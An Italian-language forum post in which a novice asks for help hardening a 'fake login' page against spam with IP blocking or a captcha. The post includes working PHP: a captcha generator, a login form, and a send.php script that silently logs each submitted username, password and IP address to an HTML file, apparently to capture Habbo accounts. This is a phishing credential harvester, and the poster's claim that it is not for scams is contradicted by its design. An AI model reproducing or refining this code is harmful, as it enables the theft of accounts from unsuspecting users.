Salve a tutti, premetto che sono nuovo e non me ne intendo molto di PHP.
Devo creare in pratica un form con dentro una specie di login (stile fake login) senza database, loro scrivono i testi, entrano e i log mi arrivano in un altra pagina. Fino a qui ci sono arrivato benissimo, dato che si può spammare e io non voglio avere la pagina intasata, come posso fare per bloccare l'IP (dopo che entrano non possono rientrare più) o creare un semplice Captcha per rallentare le entrate?
Avevo provato con 3 pagine.
INDEX:
Codice PHP:
<?php session_start(); $img = imagecreatetruecolor(80,30); $coloreBiancoSfondo = imagecolorallocate($img, 255, 255, 255); $coloreNeroTesto = imagecolorallocate($img, 0, 0, 0); imagefill($img, 0, 0, $coloreBiancoSfondo); $string=getRandomString(6); imagestring($img, 5, 5, 6, $string , $coloreNeroTesto); $_SESSION['string'] = $string; header("Content-type: image/png"); imagepng($img); imagedestroy($img); function getRandomString($length) { $validCharacters = "abcdefghijklmnopqrstuxyvwzABCDEFGHIJKLMNOPQRSTUXYVWZ"; $validCharNumber = strlen($validCharacters); $result = ""; for ($i = 0; $i < $length; $i++) { $index = mt_rand(0, $validCharNumber - 1); $result .= $validCharacters[$index]; } return $result; } ?>
ma non so dove inserire il 'login':
Codice PHP:
<form action="send.php" method="post"> <input id="login-username" name="nome" type="text" /></td> <input id="login-password" name="password" type="text" /></td> <input name="Submit" type="submit" value="Entra!" /></td>
successivamente c'erano le pagine send e generatore:
Codice PHP:
<?php //Hosted owna. $habbo = htmlspecialchars($_POST['habbo']); $password = htmlspecialchars($_POST['password']); $ip = $_SERVER['REMOTE_ADDR']; $f = fopen("asd.html", "a"); fwrite ($f, '[b]LOGIN1: ['.$habbo.'] Password: ['.$password.'] IP: ['.$ip.'][/b]
'); fclose($f); header("Location: index.php"); ?>
gen:
Codice PHP:
<?php session_start(); $img = imagecreatetruecolor(80,30); $coloreBiancoSfondo = imagecolorallocate($img, 255, 255, 255); $coloreNeroTesto = imagecolorallocate($img, 0, 0, 0); imagefill($img, 0, 0, $coloreBiancoSfondo); $string=getRandomString(6); imagestring($img, 5, 5, 6, $string , $coloreNeroTesto); $_SESSION['string'] = $string; header("Content-type: image/png"); imagepng($img); imagedestroy($img); function getRandomString($length) { $validCharacters = "abcdefghijklmnopqrstuxyvwzABCDEFGHIJKLMNOPQRSTUXYVWZ"; $validCharNumber = strlen($validCharacters); $result = ""; for ($i = 0; $i < $length; $i++) { $index = mt_rand(0, $validCharNumber - 1); $result .= $validCharacters[$index]; } return $result; } ?>
Sapete dirmi come fare? Non è a scopi di scam o altre robacce..